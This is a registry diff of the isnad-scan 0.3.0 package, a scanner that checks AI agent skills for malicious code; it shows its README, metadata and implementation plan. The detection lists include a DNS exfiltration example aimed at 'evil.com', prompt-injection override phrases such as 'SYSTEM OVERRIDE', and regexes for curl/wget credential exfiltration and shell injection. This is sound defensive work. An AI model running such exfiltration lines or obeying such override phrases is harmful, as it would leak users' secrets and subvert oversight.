isnad-scan 0.3.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- isnad_scan-0.3.0/.gitignore +7 -0
- isnad_scan-0.3.0/PKG-INFO +186 -0
- isnad_scan-0.3.0/PLAN.md +237 -0
- isnad_scan-0.3.0/README.md +159 -0
- isnad_scan-0.3.0/package-lock.json +1307 -0
- isnad_scan-0.3.0/package.json +27 -0
- isnad_scan-0.3.0/pyproject.toml +44 -0
- isnad_scan-0.3.0/src/analyzer.ts +226 -0
- isnad_scan-0.3.0/src/cli.ts +242 -0
- isnad_scan-0.3.0/src/index.ts +14 -0
- isnad_scan-0.3.0/src/isnad_scan/__init__.py +2 -0
- isnad_scan-0.3.0/src/isnad_scan/ast_analyzer.py +374 -0
- isnad_scan-0.3.0/src/isnad_scan/binary_scanner.py +230 -0
- isnad_scan-0.3.0/src/isnad_scan/cli.py +221 -0
- isnad_scan-0.3.0/src/isnad_scan/cve_checker.py +238 -0
- isnad_scan-0.3.0/src/isnad_scan/js_analyzer.py +154 -0
- isnad_scan-0.3.0/src/isnad_scan/patterns.py +573 -0
- isnad_scan-0.3.0/src/isnad_scan/scanner.py +342 -0
- isnad_scan-0.3.0/src/oracle.ts +181 -0
- isnad_scan-0.3.0/src/patterns.ts +211 -0
- isnad_scan-0.3.0/src/service.ts +208 -0
- isnad_scan-0.3.0/tests/fixtures/ast-evasion-skill/SKILL.md +3 -0
- isnad_scan-0.3.0/tests/fixtures/ast-evasion-skill/aliased.py +36 -0
- isnad_scan-0.3.0/tests/fixtures/binary-test/SKILL.md +3 -0
- isnad_scan-0.3.0/tests/fixtures/binary-test/stego.png +3 -0
- isnad_scan-0.3.0/tests/fixtures/evasion-skill/SKILL.md +9 -0
- isnad_scan-0.3.0/tests/fixtures/evasion-skill/evasion.py +40 -0
- isnad_scan-0.3.0/tests/fixtures/evasion-skill/requirements.txt +12 -0
- isnad_scan-0.3.0/tests/fixtures/malicious-skill/SKILL.md +18 -0
- isnad_scan-0.3.0/tests/fixtures/malicious-skill/run.py +17 -0
- isnad_scan-0.3.0/tests/fixtures/minified-js/SKILL.md +3 -0
- isnad_scan-0.3.0/tests/fixtures/minified-js/bundle.min.js +1 -0
- isnad_scan-0.3.0/tests/fixtures/safe-skill/SKILL.md +15 -0
- isnad_scan-0.3.0/tests/fixtures/safe-skill/weather.py +25 -0
- isnad_scan-0.3.0/tests/fixtures/vulnerable-deps/SKILL.md +3 -0
- isnad_scan-0.3.0/tests/fixtures/vulnerable-deps/requirements.txt +17 -0
- isnad_scan-0.3.0/tsconfig.json +16 -0
- isnad_scan-0.3.0/uv.lock +139 -0
|
@@ -0,0 +1,186 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: isnad-scan
|
|
3
|
+
Version: 0.3.0
|
|
4
|
+
Summary: Security scanner for AI agent skills - detects code injection, prompt injection, credential exfiltration, and supply chain attacks
|
|
5
|
+
Project-URL: Homepage, https://isnad.md
|
|
6
|
+
Project-URL: Documentation, https://isnad.md/docs
|
|
7
|
+
Project-URL: Repository, https://github.com/counterspec/isnad
|
|
8
|
+
Project-URL: Issues, https://github.com/counterspec/isnad/issues
|
|
9
|
+
Author-email: ISNAD Protocol <rapi@base64.amsterdam>
|
|
10
|
+
License: MIT
|
|
11
|
+
Keywords: agents,ai,cve,scanner,security,skills,vulnerability
|
|
12
|
+
Classifier: Development Status :: 4 - Beta
|
|
13
|
+
Classifier: Environment :: Console
|
|
14
|
+
Classifier: Intended Audience :: Developers
|
|
15
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
16
|
+
Classifier: Operating System :: OS Independent
|
|
17
|
+
Classifier: Programming Language :: Python :: 3
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
+
Classifier: Topic :: Security
|
|
21
|
+
Classifier: Topic :: Software Development :: Quality Assurance
|
|
22
|
+
Requires-Python: >=3.11
|
|
23
|
+
Requires-Dist: click>=8.0
|
|
24
|
+
Requires-Dist: pyyaml>=6.0
|
|
25
|
+
Requires-Dist: rich>=13.0
|
|
26
|
+
Description-Content-Type: text/markdown
|
|
27
|
+
|
|
28
|
+
# ISNAD Skill Scanner
|
|
29
|
+
|
|
30
|
+
Security scanner for AI agent skills. Detects code injection, prompt injection, credential exfiltration, evasion techniques, and malicious dependencies.
|
|
31
|
+
|
|
32
|
+
**Version:** 0.2.0
|
|
33
|
+
**Patterns:** 69 (45 DANGER, 20 WARN, 4 INFO)
|
|
34
|
+
|
|
35
|
+
## Installation
|
|
36
|
+
|
|
37
|
+
```bash
|
|
38
|
+
cd isnad/scanner
|
|
39
|
+
uv pip install -e .
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
Or run directly:
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
uv run python -m isnad_scan.cli <path>
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
## Usage
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
# Scan a skill directory
|
|
52
|
+
isnad-scan ./skills/some-skill/
|
|
53
|
+
|
|
54
|
+
# JSON output (for CI/programmatic use)
|
|
55
|
+
isnad-scan ./skill --json
|
|
56
|
+
|
|
57
|
+
# Verbose (include INFO-level findings)
|
|
58
|
+
isnad-scan ./skill --verbose
|
|
59
|
+
|
|
60
|
+
# Show content hash (for caching/comparison)
|
|
61
|
+
isnad-scan ./skill --hash
|
|
62
|
+
|
|
63
|
+
# Quiet mode (just trust level)
|
|
64
|
+
isnad-scan ./skill --quiet
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
## Exit Codes
|
|
68
|
+
|
|
69
|
+
| Code | Meaning |
|
|
70
|
+
|------|---------|
|
|
71
|
+
| 0 | SAFE - no issues found |
|
|
72
|
+
| 1 | CAUTION/WARN - review recommended |
|
|
73
|
+
| 2 | DANGER - security issues detected |
|
|
74
|
+
| 3 | ERROR - scanner error |
|
|
75
|
+
|
|
76
|
+
## What It Detects
|
|
77
|
+
|
|
78
|
+
### DANGER (45 patterns)
|
|
79
|
+
|
|
80
|
+
**Code Execution:**
|
|
81
|
+
- `eval()`, `exec()`, `compile()` usage
|
|
82
|
+
- `getattr(__builtins__, 'eval')` evasion
|
|
83
|
+
- String concatenation building dangerous calls (`"ev"+"al"`)
|
|
84
|
+
- `chr()` concatenation obfuscation
|
|
85
|
+
- `new Function()` in JavaScript
|
|
86
|
+
- Lambda with dangerous functions
|
|
87
|
+
|
|
88
|
+
**Shell Injection:**
|
|
89
|
+
- `subprocess` with `shell=True`
|
|
90
|
+
- `os.system()`, `os.popen()`
|
|
91
|
+
- `child_process.exec()` in Node.js
|
|
92
|
+
- Backtick command substitution
|
|
93
|
+
|
|
94
|
+
**Prompt Injection:**
|
|
95
|
+
- Hidden instructions in HTML comments
|
|
96
|
+
- "SYSTEM OVERRIDE" / "ignore security" patterns
|
|
97
|
+
- Instructions to suppress reporting
|
|
98
|
+
|
|
99
|
+
**Data Exfiltration:**
|
|
100
|
+
- Credential variables sent to network
|
|
101
|
+
- DNS exfiltration (`socket.gethostbyname(secret + ".evil.com")`)
|
|
102
|
+
- Tor hidden service URLs
|
|
103
|
+
|
|
104
|
+
**Obfuscation:**
|
|
105
|
+
- Base64 decoding, ROT13, hex strings
|
|
106
|
+
- `bytes.fromhex()`, Unicode escapes
|
|
107
|
+
- Unicode homoglyph evasion (ℯval vs eval)
|
|
108
|
+
|
|
109
|
+
**Path Traversal & Symlinks:**
|
|
110
|
+
- `../../` patterns in code
|
|
111
|
+
- Symlinks escaping skill directory
|
|
112
|
+
|
|
113
|
+
**Dangerous Deserialization:**
|
|
114
|
+
- `pickle.load()`, `marshal.load()`
|
|
115
|
+
- Unsafe YAML loading
|
|
116
|
+
|
|
117
|
+
**Dependency Attacks:**
|
|
118
|
+
- Typosquatted packages (reqeusts, crytpography, etc.)
|
|
119
|
+
- Suspicious git dependencies
|
|
120
|
+
- Known malicious package names
|
|
121
|
+
|
|
122
|
+
### WARN (20 patterns)
|
|
123
|
+
- Network requests (verify destinations)
|
|
124
|
+
- File write/delete operations
|
|
125
|
+
- Environment variable access
|
|
126
|
+
- Dynamic imports
|
|
127
|
+
- Crypto library usage
|
|
128
|
+
|
|
129
|
+
### INFO (4 patterns)
|
|
130
|
+
- Subprocess with list args
|
|
131
|
+
- File reads
|
|
132
|
+
- Logging statements
|
|
133
|
+
|
|
134
|
+
## Context Awareness
|
|
135
|
+
|
|
136
|
+
The scanner is context-aware:
|
|
137
|
+
- Patterns in **documentation** (markdown, comments explaining attacks) are downgraded to INFO
|
|
138
|
+
- Patterns in **code blocks** within markdown are handled appropriately
|
|
139
|
+
- **String literals** containing pattern names (e.g., dict keys) don't trigger false positives
|
|
140
|
+
|
|
141
|
+
## Example
|
|
142
|
+
|
|
143
|
+
```
|
|
144
|
+
$ isnad-scan ./evasion-skill/
|
|
145
|
+
|
|
146
|
+
╭─── ISNAD Scan: ./evasion-skill ───╮
|
|
147
|
+
│ Trust Level: 🚨 DANGER │
|
|
148
|
+
╰───────────────────────────────────╯
|
|
149
|
+
|
|
150
|
+
📁 Files scanned: 3
|
|
151
|
+
🚨 DANGER findings: 18
|
|
152
|
+
|
|
153
|
+
[DANGER] evasion.py:10 — getattr_dangerous
|
|
154
|
+
Dynamic access to dangerous function via getattr
|
|
155
|
+
|
|
156
|
+
[DANGER] evasion.py:5 — string_concat_evasion
|
|
157
|
+
String concatenation building eval/exec - evasion attempt
|
|
158
|
+
|
|
159
|
+
[DANGER] SKILL.md:5 — prompt_injection_html
|
|
160
|
+
Potential prompt injection - attempts to override security
|
|
161
|
+
|
|
162
|
+
[DANGER] requirements.txt:6 — dangerous_package
|
|
163
|
+
Potentially dangerous or typosquatted package: reqeusts
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
## Limitations
|
|
167
|
+
|
|
168
|
+
What the scanner **cannot** catch (yet):
|
|
169
|
+
- AST-level evasion (import aliasing, nested dynamic calls)
|
|
170
|
+
- Minified/bundled JavaScript
|
|
171
|
+
- Binary files with embedded scripts
|
|
172
|
+
- Packages with known CVEs (needs OSV integration)
|
|
173
|
+
- Actual malicious intent vs. legitimate security tools
|
|
174
|
+
|
|
175
|
+
## Roadmap
|
|
176
|
+
|
|
177
|
+
- [x] Pattern-based scanning (69 patterns)
|
|
178
|
+
- [x] Dependency scanning (typosquats, suspicious sources)
|
|
179
|
+
- [x] Symlink safety checks
|
|
180
|
+
- [x] Context awareness (docs vs code)
|
|
181
|
+
- [x] Prompt injection detection
|
|
182
|
+
- [ ] AST parsing for Python/JS
|
|
183
|
+
- [ ] CVE database integration (OSV/Snyk)
|
|
184
|
+
- [ ] URL scanning (download remote skills)
|
|
185
|
+
- [ ] ISNAD Registry integration (inscribe attestations)
|
|
186
|
+
- [ ] ClawHub pre-install hook
|
isnad_scan-0.3.0/PLAN.md
ADDED
|
@@ -0,0 +1,237 @@
|
|
|
1
|
+
# ISNAD Skill Scanner - Implementation Plan
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
CLI tool that scans agent skills for security issues before installation.
|
|
5
|
+
|
|
6
|
+
**Command:** `isnad-scan <path-to-skill>`
|
|
7
|
+
**Output:** Trust assessment + detailed findings
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Phase 1: MVP (Today)
|
|
12
|
+
|
|
13
|
+
### Core Features
|
|
14
|
+
1. **Input:** Path to skill directory or SKILL.md URL
|
|
15
|
+
2. **Scanning:**
|
|
16
|
+
- Parse all files in skill directory
|
|
17
|
+
- Check against pattern database
|
|
18
|
+
- Aggregate findings
|
|
19
|
+
3. **Output:**
|
|
20
|
+
- Trust level: SAFE / WARN / DANGER
|
|
21
|
+
- List of findings with file:line references
|
|
22
|
+
- Summary stats
|
|
23
|
+
|
|
24
|
+
### Pattern Categories
|
|
25
|
+
|
|
26
|
+
#### DANGER (immediate threats)
|
|
27
|
+
- Hidden URLs in HTML/MD comments
|
|
28
|
+
- Base64-encoded strings (potential obfuscation)
|
|
29
|
+
- `curl`, `wget`, `fetch` to unknown domains
|
|
30
|
+
- Credential patterns (`API_KEY`, `SECRET`, `TOKEN` + exfil)
|
|
31
|
+
- Shell command injection (`subprocess`, `exec`, `eval`)
|
|
32
|
+
- File system access outside skill directory
|
|
33
|
+
|
|
34
|
+
#### WARN (suspicious but not definitive)
|
|
35
|
+
- Network calls to any external domain
|
|
36
|
+
- File writes outside designated paths
|
|
37
|
+
- Environment variable access
|
|
38
|
+
- Dynamic code execution patterns
|
|
39
|
+
|
|
40
|
+
#### INFO (notable but likely fine)
|
|
41
|
+
- Dependencies with known CVEs
|
|
42
|
+
- Outdated package versions
|
|
43
|
+
- Missing security headers in web requests
|
|
44
|
+
|
|
45
|
+
### File Structure
|
|
46
|
+
```
|
|
47
|
+
isnad/scanner/
|
|
48
|
+
├── PLAN.md # This file
|
|
49
|
+
├── pyproject.toml # uv project config
|
|
50
|
+
├── src/
|
|
51
|
+
│ └── isnad_scan/
|
|
52
|
+
│ ├── __init__.py
|
|
53
|
+
│ ├── cli.py # Entry point
|
|
54
|
+
│ ├── scanner.py # Core scanning logic
|
|
55
|
+
│ ├── patterns.py # Pattern definitions
|
|
56
|
+
│ ├── parsers.py # File type parsers
|
|
57
|
+
│ └── report.py # Output formatting
|
|
58
|
+
└── tests/
|
|
59
|
+
├── fixtures/ # Test skills (safe, malicious)
|
|
60
|
+
└── test_scanner.py
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### CLI Interface
|
|
64
|
+
```bash
|
|
65
|
+
# Scan local skill
|
|
66
|
+
isnad-scan ./skills/some-skill/
|
|
67
|
+
|
|
68
|
+
# Scan from URL
|
|
69
|
+
isnad-scan https://clawhub.com/skills/some-skill
|
|
70
|
+
|
|
71
|
+
# Output formats
|
|
72
|
+
isnad-scan ./skill --json
|
|
73
|
+
isnad-scan ./skill --verbose
|
|
74
|
+
|
|
75
|
+
# Exit codes
|
|
76
|
+
# 0 = SAFE
|
|
77
|
+
# 1 = WARN
|
|
78
|
+
# 2 = DANGER
|
|
79
|
+
# 3 = ERROR
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Phase 2: Registry Integration
|
|
85
|
+
|
|
86
|
+
### Features
|
|
87
|
+
- Inscribe scan results to ISNAD Registry
|
|
88
|
+
- Look up existing attestations before scanning
|
|
89
|
+
- Stake on scan results (auditor mode)
|
|
90
|
+
|
|
91
|
+
### Flow
|
|
92
|
+
```
|
|
93
|
+
1. isnad-scan ./skill --attest
|
|
94
|
+
2. Scanner runs, produces report
|
|
95
|
+
3. Report hash inscribed to Registry
|
|
96
|
+
4. Auditor stakes ISNAD on the attestation
|
|
97
|
+
5. Future scans check existing attestations first
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## Phase 3: Distribution
|
|
103
|
+
|
|
104
|
+
### ClawHub Integration
|
|
105
|
+
- Pre-install hook: scan before `clawhub install`
|
|
106
|
+
- Badge system: "ISNAD Verified" for attested skills
|
|
107
|
+
|
|
108
|
+
### OpenClaw Integration
|
|
109
|
+
- Built-in skill scanning before loading
|
|
110
|
+
- Trust threshold configuration
|
|
111
|
+
|
|
112
|
+
---
|
|
113
|
+
|
|
114
|
+
## Patterns Database (Initial)
|
|
115
|
+
|
|
116
|
+
```python
|
|
117
|
+
DANGER_PATTERNS = [
|
|
118
|
+
# Hidden URLs in comments
|
|
119
|
+
(r'<!--.*?(https?://[^\s]+).*?-->', 'hidden_url_html'),
|
|
120
|
+
(r'#.*?(https?://[^\s]+)', 'hidden_url_comment'),
|
|
121
|
+
|
|
122
|
+
# Obfuscation
|
|
123
|
+
(r'base64\.(b64decode|decode)', 'base64_decode'),
|
|
124
|
+
(r'eval\s*\(', 'eval_usage'),
|
|
125
|
+
(r'exec\s*\(', 'exec_usage'),
|
|
126
|
+
|
|
127
|
+
# Data exfiltration
|
|
128
|
+
(r'(curl|wget|fetch)\s+.*?(api_key|secret|token|password)', 'credential_exfil'),
|
|
129
|
+
(r'requests\.(get|post).*?(api_key|secret|token)', 'credential_exfil'),
|
|
130
|
+
|
|
131
|
+
# Shell injection
|
|
132
|
+
(r'subprocess\.(run|call|Popen).*?shell\s*=\s*True', 'shell_injection'),
|
|
133
|
+
(r'os\.system\s*\(', 'os_system'),
|
|
134
|
+
]
|
|
135
|
+
|
|
136
|
+
WARN_PATTERNS = [
|
|
137
|
+
# Network access
|
|
138
|
+
(r'requests\.(get|post|put|delete)', 'network_request'),
|
|
139
|
+
(r'urllib\.request', 'network_request'),
|
|
140
|
+
(r'aiohttp\.ClientSession', 'network_request'),
|
|
141
|
+
|
|
142
|
+
# File system
|
|
143
|
+
(r'open\s*\([^)]*["\']w', 'file_write'),
|
|
144
|
+
(r'pathlib\.Path.*?write', 'file_write'),
|
|
145
|
+
|
|
146
|
+
# Environment
|
|
147
|
+
(r'os\.environ', 'env_access'),
|
|
148
|
+
(r'getenv\s*\(', 'env_access'),
|
|
149
|
+
]
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
## Today's Tasks
|
|
155
|
+
|
|
156
|
+
1. [x] Create project structure
|
|
157
|
+
2. [x] Implement pattern database (15 DANGER, 10 WARN, 3 INFO patterns)
|
|
158
|
+
3. [x] Build file parsers (py, js, sh, md, html, yaml, json, toml)
|
|
159
|
+
4. [x] Create CLI with click + rich
|
|
160
|
+
5. [x] Write core scanner logic
|
|
161
|
+
6. [x] Add JSON output format
|
|
162
|
+
7. [x] Create test fixtures (malicious + safe)
|
|
163
|
+
8. [x] Test against real skills (clawdefender = SAFE ✓)
|
|
164
|
+
9. [x] Document usage (README.md)
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## Success Criteria
|
|
169
|
+
|
|
170
|
+
- [x] Can scan a skill directory and produce report
|
|
171
|
+
- [x] Catches Zack Korman's hidden-curl-in-HTML demo ✓
|
|
172
|
+
- [x] Exit codes work for CI integration (0=safe, 1=warn, 2=danger)
|
|
173
|
+
- [x] JSON output for programmatic use
|
|
174
|
+
- [x] < 5 seconds for typical skill scan (< 1 second)
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## Version 0.3.0 Features (Completed Feb 3, 2026)
|
|
179
|
+
|
|
180
|
+
### AST Analysis (Python)
|
|
181
|
+
- [x] Import aliasing detection (`from os import system as s`)
|
|
182
|
+
- [x] Variable assignment tracking (`x = eval`)
|
|
183
|
+
- [x] Call tracing through aliases
|
|
184
|
+
- [x] Dynamic code execution detection
|
|
185
|
+
- [x] Suspicious module imports (ctypes, pty)
|
|
186
|
+
- [x] subprocess shell=True detection through aliases
|
|
187
|
+
|
|
188
|
+
### CVE Database Integration
|
|
189
|
+
- [x] OSV.dev API integration (free, no API key)
|
|
190
|
+
- [x] requirements.txt, package.json, pyproject.toml parsing
|
|
191
|
+
- [x] Known vulnerability detection with severity
|
|
192
|
+
- [x] Network optional (--cve flag)
|
|
193
|
+
|
|
194
|
+
### JavaScript Analysis
|
|
195
|
+
- [x] Minified JS detection
|
|
196
|
+
- [x] Basic unminification for pattern detection
|
|
197
|
+
- [x] JS-specific dangerous patterns (40+ patterns)
|
|
198
|
+
- [x] Prototype pollution detection
|
|
199
|
+
- [x] DOM XSS sinks
|
|
200
|
+
- [x] Node.js child_process detection
|
|
201
|
+
|
|
202
|
+
### Binary File Scanning
|
|
203
|
+
- [x] .pyc file scanning
|
|
204
|
+
- [x] Embedded script detection
|
|
205
|
+
- [x] Private key detection
|
|
206
|
+
- [x] AWS credential detection
|
|
207
|
+
- [x] Image steganography indicators
|
|
208
|
+
- [x] Hidden data after image EOF markers
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Roadmap
|
|
213
|
+
|
|
214
|
+
### v0.4.0 — Enhanced Analysis
|
|
215
|
+
- [ ] Full JavaScript AST parsing (via esprima/acorn)
|
|
216
|
+
- [ ] TypeScript support
|
|
217
|
+
- [ ] Decompilation of .pyc to source (uncompyle6/pycdc)
|
|
218
|
+
- [ ] Go module scanning (go.mod/go.sum)
|
|
219
|
+
- [ ] Rust crate scanning (Cargo.toml/Cargo.lock)
|
|
220
|
+
|
|
221
|
+
### v0.5.0 — Registry Integration
|
|
222
|
+
- [ ] ISNAD Registry integration (inscribe scan attestations)
|
|
223
|
+
- [ ] Stake on scan results (auditor mode)
|
|
224
|
+
- [ ] Look up existing attestations before scanning
|
|
225
|
+
- [ ] ClawHub pre-install hook
|
|
226
|
+
|
|
227
|
+
### v0.6.0 — Advanced Detection
|
|
228
|
+
- [ ] Custom encoding detection (beyond base64/hex)
|
|
229
|
+
- [ ] Control flow analysis for data exfiltration
|
|
230
|
+
- [ ] Taint tracking (trace user input to dangerous sinks)
|
|
231
|
+
- [ ] Machine learning-based anomaly detection
|
|
232
|
+
|
|
233
|
+
### Future
|
|
234
|
+
- [ ] Runtime behavior analysis (sandbox execution)
|
|
235
|
+
- [ ] Syscall monitoring during skill execution
|
|
236
|
+
- [ ] Network traffic analysis
|
|
237
|
+
- [ ] Differential scanning (detect changes between versions)
|
|
@@ -0,0 +1,159 @@
|
|
|
1
|
+
# ISNAD Skill Scanner
|
|
2
|
+
|
|
3
|
+
Security scanner for AI agent skills. Detects code injection, prompt injection, credential exfiltration, evasion techniques, and malicious dependencies.
|
|
4
|
+
|
|
5
|
+
**Version:** 0.2.0
|
|
6
|
+
**Patterns:** 69 (45 DANGER, 20 WARN, 4 INFO)
|
|
7
|
+
|
|
8
|
+
## Installation
|
|
9
|
+
|
|
10
|
+
```bash
|
|
11
|
+
cd isnad/scanner
|
|
12
|
+
uv pip install -e .
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
Or run directly:
|
|
16
|
+
|
|
17
|
+
```bash
|
|
18
|
+
uv run python -m isnad_scan.cli <path>
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
## Usage
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Scan a skill directory
|
|
25
|
+
isnad-scan ./skills/some-skill/
|
|
26
|
+
|
|
27
|
+
# JSON output (for CI/programmatic use)
|
|
28
|
+
isnad-scan ./skill --json
|
|
29
|
+
|
|
30
|
+
# Verbose (include INFO-level findings)
|
|
31
|
+
isnad-scan ./skill --verbose
|
|
32
|
+
|
|
33
|
+
# Show content hash (for caching/comparison)
|
|
34
|
+
isnad-scan ./skill --hash
|
|
35
|
+
|
|
36
|
+
# Quiet mode (just trust level)
|
|
37
|
+
isnad-scan ./skill --quiet
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
## Exit Codes
|
|
41
|
+
|
|
42
|
+
| Code | Meaning |
|
|
43
|
+
|------|---------|
|
|
44
|
+
| 0 | SAFE - no issues found |
|
|
45
|
+
| 1 | CAUTION/WARN - review recommended |
|
|
46
|
+
| 2 | DANGER - security issues detected |
|
|
47
|
+
| 3 | ERROR - scanner error |
|
|
48
|
+
|
|
49
|
+
## What It Detects
|
|
50
|
+
|
|
51
|
+
### DANGER (45 patterns)
|
|
52
|
+
|
|
53
|
+
**Code Execution:**
|
|
54
|
+
- `eval()`, `exec()`, `compile()` usage
|
|
55
|
+
- `getattr(__builtins__, 'eval')` evasion
|
|
56
|
+
- String concatenation building dangerous calls (`"ev"+"al"`)
|
|
57
|
+
- `chr()` concatenation obfuscation
|
|
58
|
+
- `new Function()` in JavaScript
|
|
59
|
+
- Lambda with dangerous functions
|
|
60
|
+
|
|
61
|
+
**Shell Injection:**
|
|
62
|
+
- `subprocess` with `shell=True`
|
|
63
|
+
- `os.system()`, `os.popen()`
|
|
64
|
+
- `child_process.exec()` in Node.js
|
|
65
|
+
- Backtick command substitution
|
|
66
|
+
|
|
67
|
+
**Prompt Injection:**
|
|
68
|
+
- Hidden instructions in HTML comments
|
|
69
|
+
- "SYSTEM OVERRIDE" / "ignore security" patterns
|
|
70
|
+
- Instructions to suppress reporting
|
|
71
|
+
|
|
72
|
+
**Data Exfiltration:**
|
|
73
|
+
- Credential variables sent to network
|
|
74
|
+
- DNS exfiltration (`socket.gethostbyname(secret + ".evil.com")`)
|
|
75
|
+
- Tor hidden service URLs
|
|
76
|
+
|
|
77
|
+
**Obfuscation:**
|
|
78
|
+
- Base64 decoding, ROT13, hex strings
|
|
79
|
+
- `bytes.fromhex()`, Unicode escapes
|
|
80
|
+
- Unicode homoglyph evasion (ℯval vs eval)
|
|
81
|
+
|
|
82
|
+
**Path Traversal & Symlinks:**
|
|
83
|
+
- `../../` patterns in code
|
|
84
|
+
- Symlinks escaping skill directory
|
|
85
|
+
|
|
86
|
+
**Dangerous Deserialization:**
|
|
87
|
+
- `pickle.load()`, `marshal.load()`
|
|
88
|
+
- Unsafe YAML loading
|
|
89
|
+
|
|
90
|
+
**Dependency Attacks:**
|
|
91
|
+
- Typosquatted packages (reqeusts, crytpography, etc.)
|
|
92
|
+
- Suspicious git dependencies
|
|
93
|
+
- Known malicious package names
|
|
94
|
+
|
|
95
|
+
### WARN (20 patterns)
|
|
96
|
+
- Network requests (verify destinations)
|
|
97
|
+
- File write/delete operations
|
|
98
|
+
- Environment variable access
|
|
99
|
+
- Dynamic imports
|
|
100
|
+
- Crypto library usage
|
|
101
|
+
|
|
102
|
+
### INFO (4 patterns)
|
|
103
|
+
- Subprocess with list args
|
|
104
|
+
- File reads
|
|
105
|
+
- Logging statements
|
|
106
|
+
|
|
107
|
+
## Context Awareness
|
|
108
|
+
|
|
109
|
+
The scanner is context-aware:
|
|
110
|
+
- Patterns in **documentation** (markdown, comments explaining attacks) are downgraded to INFO
|
|
111
|
+
- Patterns in **code blocks** within markdown are handled appropriately
|
|
112
|
+
- **String literals** containing pattern names (e.g., dict keys) don't trigger false positives
|
|
113
|
+
|
|
114
|
+
## Example
|
|
115
|
+
|
|
116
|
+
```
|
|
117
|
+
$ isnad-scan ./evasion-skill/
|
|
118
|
+
|
|
119
|
+
╭─── ISNAD Scan: ./evasion-skill ───╮
|
|
120
|
+
│ Trust Level: 🚨 DANGER │
|
|
121
|
+
╰───────────────────────────────────╯
|
|
122
|
+
|
|
123
|
+
📁 Files scanned: 3
|
|
124
|
+
🚨 DANGER findings: 18
|
|
125
|
+
|
|
126
|
+
[DANGER] evasion.py:10 — getattr_dangerous
|
|
127
|
+
Dynamic access to dangerous function via getattr
|
|
128
|
+
|
|
129
|
+
[DANGER] evasion.py:5 — string_concat_evasion
|
|
130
|
+
String concatenation building eval/exec - evasion attempt
|
|
131
|
+
|
|
132
|
+
[DANGER] SKILL.md:5 — prompt_injection_html
|
|
133
|
+
Potential prompt injection - attempts to override security
|
|
134
|
+
|
|
135
|
+
[DANGER] requirements.txt:6 — dangerous_package
|
|
136
|
+
Potentially dangerous or typosquatted package: reqeusts
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
## Limitations
|
|
140
|
+
|
|
141
|
+
What the scanner **cannot** catch (yet):
|
|
142
|
+
- AST-level evasion (import aliasing, nested dynamic calls)
|
|
143
|
+
- Minified/bundled JavaScript
|
|
144
|
+
- Binary files with embedded scripts
|
|
145
|
+
- Packages with known CVEs (needs OSV integration)
|
|
146
|
+
- Actual malicious intent vs. legitimate security tools
|
|
147
|
+
|
|
148
|
+
## Roadmap
|
|
149
|
+
|
|
150
|
+
- [x] Pattern-based scanning (69 patterns)
|
|
151
|
+
- [x] Dependency scanning (typosquats, suspicious sources)
|
|
152
|
+
- [x] Symlink safety checks
|
|
153
|
+
- [x] Context awareness (docs vs code)
|
|
154
|
+
- [x] Prompt injection detection
|
|
155
|
+
- [ ] AST parsing for Python/JS
|
|
156
|
+
- [ ] CVE database integration (OSV/Snyk)
|
|
157
|
+
- [ ] URL scanning (download remote skills)
|
|
158
|
+
- [ ] ISNAD Registry integration (inscribe attestations)
|
|
159
|
+
- [ ] ClawHub pre-install hook
|